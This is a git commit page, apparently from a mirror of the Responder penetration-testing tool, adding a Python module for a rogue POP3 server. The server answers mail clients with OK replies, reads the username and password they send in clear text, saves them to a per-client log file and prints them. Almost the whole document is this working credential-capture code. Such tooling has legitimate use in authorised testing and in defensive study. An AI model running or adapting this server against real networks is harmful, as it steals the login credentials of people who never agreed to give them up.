mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-14 02:27:12 -07:00
Complete refactoring of responder code, first pass
This commit is contained in:
parent
f4bd612e08
commit
050edc22f3
43 changed files with 4105 additions and 4722 deletions
40
servers/POP3.py
Normal file
40
servers/POP3.py
Normal file
|
@ -0,0 +1,40 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
return data
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "POP3-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
|
||||
text("[POP3] Address : %s" % self.client_address[0])
|
||||
text("[POP3] Username : %s" % User)
|
||||
text("[POP3] Password : %s" % Pass)
|
||||
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
else :
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
except Exception:
|
||||
pass
|
Loading…
Add table
Add a link
Reference in a new issue